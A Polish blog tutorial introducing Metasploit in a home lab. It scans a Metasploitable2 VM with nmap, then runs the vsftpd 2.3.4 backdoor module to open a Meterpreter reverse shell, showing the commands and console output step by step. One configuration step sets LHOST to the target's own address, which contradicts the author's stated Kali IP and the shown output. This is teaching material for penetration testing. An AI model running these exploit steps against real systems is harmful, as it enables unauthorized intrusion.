Metasploit – podstawy – czym jest i jak z niego korzystać.
Data publikacji: 2026-05-24
Spis treści
W mojej książce „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN” poznałeś sposoby łamania haseł w sieciach bezprzewodowych, dowiedziałeś się jak zdobyć dane, które użytkownik wprowadził do przeglądarki. Man in the Middle jest dość ciekawym sposobem uzyskania informacji, ale aby cokolwiek zrobić, musiałeś być w tej samej sieci. Nawet jak w niej byłeś, to jedyne co mogłeś przechwycić, to dane z przeglądarek. Oczywiście są to ważne informacje, ale czy nie da się więcej? Jeżeli interesuje/ zainteresował Cię ten temat, to nie masz już wyjścia, musisz czytać dalej. W tej serii artykułów pokażę program, dzięki możemy przetestować urządzenie, pod względem zainstalowanego na nim urządzenia.
W materiałach dotyczących narzędzia Metasploit będę wykorzystywał dwie maszyny wirtualne w VirtualBox. Pierwsza z nich to Kali Linux, natomiast druga Metasplitable2. Obie maszyny znajdują się w tej samej sieci nat. Jeśli chcesz wykonać wszystkie poniższe czynności skonfiguruj takie środowisko testowe. Ważne jest aby przed pierwszym uruchomieniem Metasplitable2 dodać ją do sieci NAT. Jest to obraz specjalnie przygotowany do ćwiczeń związanych z łamaniem zabezpieczeń. Nie może być uruchomiony w sieci, z której korzysta się na co dzień.
Czym jest oprogramowanie Metasploit?
Metasploit jest udostępniony całkowicie za darmo i posiada bardzo duży zakres możliwości. Sam w sobie zawiera ogromną bazę exploitów, które w łatwy sposób jesteśmy w stanie wykorzystać do testów. Jednak nie jesteś jedynie ograniczony do zaimplementowanych sposobów. Możesz sam tworzyć własne i dzięki temu narzędziu je wykorzystać.
Jego funkcjonalność nie zamyka się na samych exploitach. Dzięki niemu jesteś w stanie gromadzić dane, szukać luk w sieci. Wielu doświadczonych osób zajmujących się na co dzień bezpieczeństwem uważa ten program za najlepsze narzędzie do tego celu, szczególnie podczas nauki.
Dla mnie jest czymś, co bardzo dobrze wspominam z początku swojej nauki. Do dnia dzisiejszego pamiętam, jak pierwszy raz udało mi się zrobić to, co za chwilę Ci pokażę. Mile wspominam ten dreszczyk emocji, zadowolenia z tego, że się udało.
„KURDE! Ja mam pełny dostęp do tego systemu”, mniej więcej tak było. Natomiast dzisiaj, może już nie tak samo reaguję ponieważ trochę czasu używam Metasploita, ale nadal ta radość z powodzenia jest obecna. Mam nadzieję, że dalszy materiał napełni Cię taką samą pozytywną energią, jaką wywołał we mnie po raz pierwszy i nabierzesz jeszcze większych chęci do nauki.
Jednak jeżeli poczujesz jakiś niedosyt, bo dostępny materiał nie jest dla Ciebie wystarczający, to mogę Ci polecić kurs samych autorów znajdujący się pod adresem: https://www.offensive-security.com/metasploit-unleashed/
Pierwsze uruchomienie
Opisywane oprogramowanie pod względem uruchomienia niczym się nie różni od klasycznego oprogramowania uruchamianego w dystrybucjach Linux. Jak z każdym nowym programem w dystrybucji Linux powinniśmy na początku zapoznać się z jego dziennikiem pomocy, wpisując:
msfconsole --help
Usage: msfconsole [options]
Common options:
-E, --environment ENVIRONMENT Set Rails environment, defaults to RAIL_ENV environment variable or 'production'
Database options:
-M, --migration-path DIRECTORY Specify a directory containing additional DB migrations
-n, --no-database Disable database support
-y, --yaml PATH Specify a YAML file containing database settings
Framework options:
-c FILE Load the specified configuration file
-v, -V, --version Show version
Module options:
--[no-]defer-module-loads Defer module loading unless explicitly asked
-m, --module-path DIRECTORY Load an additional module path
Console options:
-a, --ask Ask before exiting Metasploit or accept 'exit -y'
-H, --history-file FILE Save command history to the specified file
-l, --logger STRING Specify a logger to use (StdoutWithoutTimestamps, TimestampColorlessFlatfile, Flatfile, Stderr, Stdout)
--[no-]readline
-L, --real-readline Use the system Readline library instead of RbReadline
-o, --output FILE Output to the specified file
-p, --plugin PLUGIN Load a plugin on startup
-q, --quiet Do not print the banner on startup
-r, --resource FILE Execute the specified resource file (- for stdin)
-x, --execute-command COMMAND Execute the specified console commands (use ; for multiples)
-h, --help Show this message
Poczytaj trochę na temat opcji, jakie możesz wykorzystać przy uruchomieniu programu. Niektórymi z nich zajmiemy się w kolejnych częściach. Dlaczego nie teraz? Ponieważ Metasploit na samym początku należy poznać od środka. Możliwe, że zastanawiasz się po co kazałem spojrzeć na opcje przy uruchomieniu tego programu? Odpowiedź na to pytanie jest dość prosta. Zawsze powinieneś tak robić korzystając z nowego programu! Dzięki temu bardzo często poznasz, w jaki sposób ułatwić sobie życie na samym początku.
Uruchommy teraz metasplit jako użytkownik konta root:
sudo su
msfconsole
Powinieneś otrzymać informacje tak jak poniżej:

Na samym wstępie jesteś w stanie wyczytać, ile program posiada wbudowanych exploitów oraz payloadów. Wiem… Możesz mieć pewien mętlik w głowie, bo nie wspomniałem jeszcze o tych dwóch pojęciach. Jednak nie martw się, różnice poznasz przy omawianiu poszczególnych luk w późniejszym czasie. Teraz widzisz, jak ogromne możliwości stwarza sam program. Szczególnie, że istnieje jeszcze możliwość tworzenia własnych exploitów i wykorzystania ich za pomocą tego narzędzia. Tworząc własne rozwiązania jesteś w stanie zająć się samą implementacją, a nie myśleć dodatkowo nad stworzeniem narzędzia, które to zautomatyzuje. Niestety w ramach tych kilku artykułów zajmiemy się tylko tymi wbudowanymi exploitami. Myślę, że na sam początek będzie to dla Ciebie również spora dawka wiedzy.
Wyświetlamy wszystkie możliwości konfiguracji programu
Metasploit posiada wbudowane polecenie help, za pomocą którego poznasz wszystkie dostępne w nim możliwości konfiguracji. Wystarczy, że w uruchomionym programie wpiszesz:
help
Pojawi się imponująca lista możliwości tego programu. Niektóre z wymienionych opcji posłużą ustawieniom, niektóre nadają dodatkowe możliwości, a na samym dolne znajdują się przykłady wykorzystania niektórych z poleceń. Szczególnie warto zapoznać się z przykładami. Pomogą lepiej zrozumieć normę korzystania z narzędzia jaką autorzy kierowali się podczas jego tworzenia.
Wykorzystanie pierwszego exploita
Nim przejdziemy dalej, musimy poznać czym tak naprawdę jest exploit. Otóż najprościej wytłumaczyć go można jako luka w programie lub systemie/dystrybucji, którą można wykorzystać, aby uzyskać dostęp do urządzenia. Łatwiej jest mi używać terminu exploit niż luka w oprogramowaniu, dlatego w tym jak i kolejnych artykułach na temat tego narzędzia pozostanę przy tej nazwie.
Wszelkie testy będziemy przeprowadzali w sieci NAT, którą stworzyć musimy w VirtualBoxie. Naszym celem będzie dystrybucja Metasploitable2. Dlatego jeśli masz uruchomiony tylko Kali Linux, to nadeszła pora na uruchomienie Metasploitable2.
Nmap wykrywanie uruchomionego oprogramowania
Narzędziu nmap poświęciłem bardzo dużo czasu w swojej książce „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN”, dlatego teraz bez większego rozpisywania się wyświetlmy wszystkie uruchomione serwisy w Metasploitable2:
nmap 10.0.2.20 -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-10 12:00 -0400
Nmap scan report for 10.0.2.20
Host is up (0.010s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:C1:10:EE (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds
Jako wynik powinieneś otrzymać taką samą lub podobną listę. W ramach wyjaśnień, 10.0.2.20 jest to adres ip, jaki został przypisany do mojej maszyny wirtualnej Metasploitable2. Jeżeli u Ciebie VirtualBox przypisał lub Ty przypisałeś inny adres IP, to po nazwie nmap wpisz właściwy. Inaczej otrzymasz informację, że urządzenie jest wyłączone.
Teraz postaram się po kolei opisać, co należy zrobić, gdy otrzymamy poprawny wynik. Spójrzmy na część wyniku jaki otrzymaliśmy:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Z listy pierwszym wykrytym serwisem jest vsftpd 2.3.4. Co ważne w tym wypadku pojawia się również wersja jaka jest uruchomiona. Mając już taką ilość informacji, co możemy z nim dalej zrobić ? Otóż najprościej, uruchom przeglądarkę i wpisz w wyszukiwarce exploit vsftpd 2.3.4. Pierwszą, lub jedną z pierwszych stron, jaka powinna się pojawić jest:
https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
Tutaj chcę wspomnieć, że rapid7 jest to firma, która stworzyła Metasploit, dlatego rozwiązanie z ich strony powinno być sprawdzane w pierwszej kolejności.
Wczytując się w informację na stronie dowiadujemy się, kiedy exploit został wykryty, kto go wykrył i w jaki sposób możemy go wykorzystać. Spójrzmy na sam dół strony, znajduje się tam instrukcja krok po kroku, w jaki sposób należy skorzystać z luki.
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show targets
...targets...
msf exploit(vsftpd_234_backdoor) > set TARGET < target-id >
msf exploit(vsftpd_234_backdoor) > show options
...show and set options...
msf exploit(vsftpd_234_backdoor) > exploit
Jeżeli chcesz, sam spróbuj wykorzystać tego exploita bez pomocy czytanego materiału. Szczerze do tego zachęcam. Najwięcej uczymy się próbując sami! Natomiast jeśli napotkałeś jakiekolwiek problemy, czytaj dalej. Wiedz jednak, że wtedy to już będzie pewnego rodzaju spoiler.
Aby jakiegokolwiek exploit wykorzystać, należy na samym początku odnaleźć go w programie metasploit i odpowiednio skonfigurować. Nie powinno nas to dziwić. Przecież uruchamiamy na przykład grę, w której możemy ustawić różne opcje, dostosowując rozgrywkę do własnych predyspozycji. W pewnym sensie tutaj jest tak samo. Dlatego aby móc cokolwiek ustawić, musimy najpierw wskazać metasploitowi exploita, dzięki czemu będziemy mogli dokonać niezbędnej konfiguracji. W przypadku opisywanego wystarczy, że wpiszemy polecenie w następujący sposób w programie:
use exploit/unix/ftp/vsftpd_234_backdoor
Otrzymasz w zamian informację:
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) >
Na razie nie zastanawiaj się nad pierwszą linią. Wyjaśnię payloady w późniejszym czasie. Teraz chciałbym, abyś zwrócił uwagę na sam sposób zapisu. Po nazwie msf6, która jest skrótową nazwą programu, znajduje się nazwa exploita, którego użyliśmy. W ten sposób metasploit określa, że dany exploit może zostać skonfigurowany.
Wiesz już, że musisz go skonfigurować, ale nasuwa się pytanie, jak to zrobić? Otóż listę dostępnych opcji możemy otrzymać przy pomocy polecenia:
show options
Otrzymasz następujące możliwości konfiguracji:
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zs
h) (Accepted: none, python3.8+, shell-search, shell)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL,GET,WGET:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
When FETCH_FILELESS is none:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME LKyuzngenWL no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
Id Name
-- ----
0 Linux/Unix Command
View the full module info with the info, or info -d command.
Wyświetliła się lista opcji modułów. Teraz skupmy się na wyniku. W pierwszej tabeli mamy dwa wiersze. W pierwszym z nich znajduje się RHOSTS, w drugim RPORT. Zwróć uwagę, że po RPORT znajduje się już liczba 21. Metasploit uzupełnił automatycznie port, jaki powinien zostać użyty, aby wykorzystać wybranego exploita. Pomimo, że jest on raczej właściwy, zawsze warto sprawdzić, czy na pewno. Wróć teraz do miejsca, gdzie wykonywaliśmy skanowanie nmap i sprawdź, czy przy serwisie znajduje się port 21. Jeżeli jest inny, to musimy użyć polecenia:
set RPORT [PORT]
Oczywiście w miejsce [PORT] wpisujemy numer portu i wciskamy ENTER.
Po właściwym skonfigurowaniu portu przyszła pora na ustawienie IP urządzenia, na którym chcemy wykorzystać poznawany exploit. Jak już wspomniałem do mojej dystrybucji Metasploitable2 został przypisany adres ip 10.0.2.20, dlatego ustawiam tę opcję tak:
set RHOST 10.0.2.20
Teraz pozostaje sprawdzić, czy wszystko zostało prawidłowo ustawione. Robimy to poznanym wcześniej poleceniem:
show options
Tabela powinna prezentować się następująco:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.0.2.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)Zgodnie z tym, co się wyświetliło, mamy wszystko ustawione właściwie.
Jeżeli samodzielnie będziesz ustawiał podobnego exploita, zwróć uwagę na kolumnę Required, czyli po polsku „wymagany”. Jeżeli w tej kolumnie masz wpisane yes ( czyli tak ), oznacza to, że opcja musi zostać ustawiona, aby exploit zadziałał.
Mamy ustawioną maszynę, która posiada zainstalowany exploit, teraz musimy ustawić adres IP maszyny z którą za pomocą tego exploita nawiąże połączenie. W tej sytuacji jest to Kali Linux. Adres IP Kali Linux z którego korzystam to 10.0.2.19. Natomiast wzmianka o tym, że jest brak tego ustawienia znajduje się w wyniku polecenia show options:
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Teraz pozostaje użyć poznanego polecenia, ale zamiast RHOST użyć LHOST:
set LHOST 10.0.2.20
Po wykonaniu tego ustawienia i upewnieniu się, że mamy wszystko właściwie ustawione, nie pozostaje nic innego, jak tylko uruchomić naszego exploita. Robimy to bardzo sensownym poleceniem:
exploit
Po wciśnięciu klawisza ENTER będziesz łączył się z urządzeniem wpisanym w RHOST. Jeżeli wszystko się uda, powinieneś otrzymać informację:
[*] Started reverse TCP handler on 10.0.2.19:4444
[+] 10.0.2.20:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.0.2.19:4444 -> 10.0.2.20:48573) at 2026-05-10 12:30:48 -0400
I brawo! Właśnie uzyskałeś kontrolę nad systemem. Aby się o tym przekonać, wpisz polecenie:
cat /etc/issue
Służy ono do wyświetlania nazwy systemu, dlatego po jego wpisaniu powinieneś otrzymać informację:

Aby zakończyć połączenie z dystrybucją metasploitable2, należy wpisać exit.
Mam nadzieję, że cieszysz się tym tak, jak ja kiedyś. Właśnie udało Ci się uzyskać pełny dostęp do urządzenia. Znając właściwe polecenia w konsoli, jesteś w stanie zrobić z nim, co tylko zechcesz.
Podsumowanie
W tym artykule za zadanie postawiłem sobie wprowadzić Cię w obsługę programu Metasploit i mam nadzieję, że udało mi się to osiągnąć. Jak się niebawem przekonasz program ten jest jednym z najlepszych narzędzi do nauki szczególnie na samym początku. Niepoznanie jego funkcjonalności w tej dziedzinie to moim zdaniem grzech. Na pewno czujesz pewien niedosyt dlatego w następnym artykule zajmiemy się kolejnymi sposobami dostępu do urządzenia przy pomocy Metasploit.

